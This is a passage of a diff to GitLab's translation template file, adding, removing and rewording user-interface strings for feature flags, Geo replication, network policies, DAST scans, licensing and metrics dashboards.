msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10549,6 +10873,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10558,9 +10885,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10600,6 +10924,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10825,6 +11152,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10996,30 +11326,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -11035,12 +11350,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -11068,12 +11377,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -11095,15 +11398,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11131,27 +11425,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11164,6 +11443,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11227,6 +11512,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11359,10 +11650,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11539,7 +11830,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11656,7 +11947,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11938,6 +12232,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12214,7 +12511,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12427,6 +12724,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12442,6 +12742,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12574,6 +12877,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12730,6 +13036,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12883,6 +13195,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12898,6 +13213,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12910,13 +13228,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12925,21 +13243,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12952,6 +13273,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12970,6 +13294,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13045,6 +13372,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13111,6 +13441,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13126,7 +13459,7 @@ msgstr[2] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13153,6 +13486,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13165,13 +13504,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13201,7 +13537,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13213,9 +13549,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13312,6 +13654,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13351,6 +13726,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13450,9 +13828,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13594,6 +13969,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13636,6 +14014,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13651,6 +14032,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13939,7 +14323,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14170,7 +14554,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14275,10 +14659,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14305,6 +14689,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14368,9 +14755,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14386,9 +14770,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14443,6 +14824,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14464,6 +14848,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14515,7 +14902,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14566,6 +14953,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14581,6 +14974,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14665,9 +15061,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14779,9 +15172,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14917,6 +15307,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14926,9 +15325,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14956,15 +15352,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14980,6 +15376,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -15043,6 +15442,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15175,6 +15595,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15277,6 +15703,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15286,9 +15718,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15322,9 +15751,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15337,9 +15772,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15367,6 +15799,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15391,6 +15826,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15469,6 +15907,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15520,12 +15961,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15691,6 +16138,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15736,6 +16192,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15925,12 +16384,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15940,6 +16432,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15952,6 +16447,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15970,12 +16468,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16000,9 +16504,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16015,9 +16525,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16411,12 +16966,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16504,18 +17065,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16663,9 +17218,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16705,9 +17257,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16750,21 +17299,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16774,25 +17329,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16852,9 +17413,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16873,6 +17431,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16888,9 +17449,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
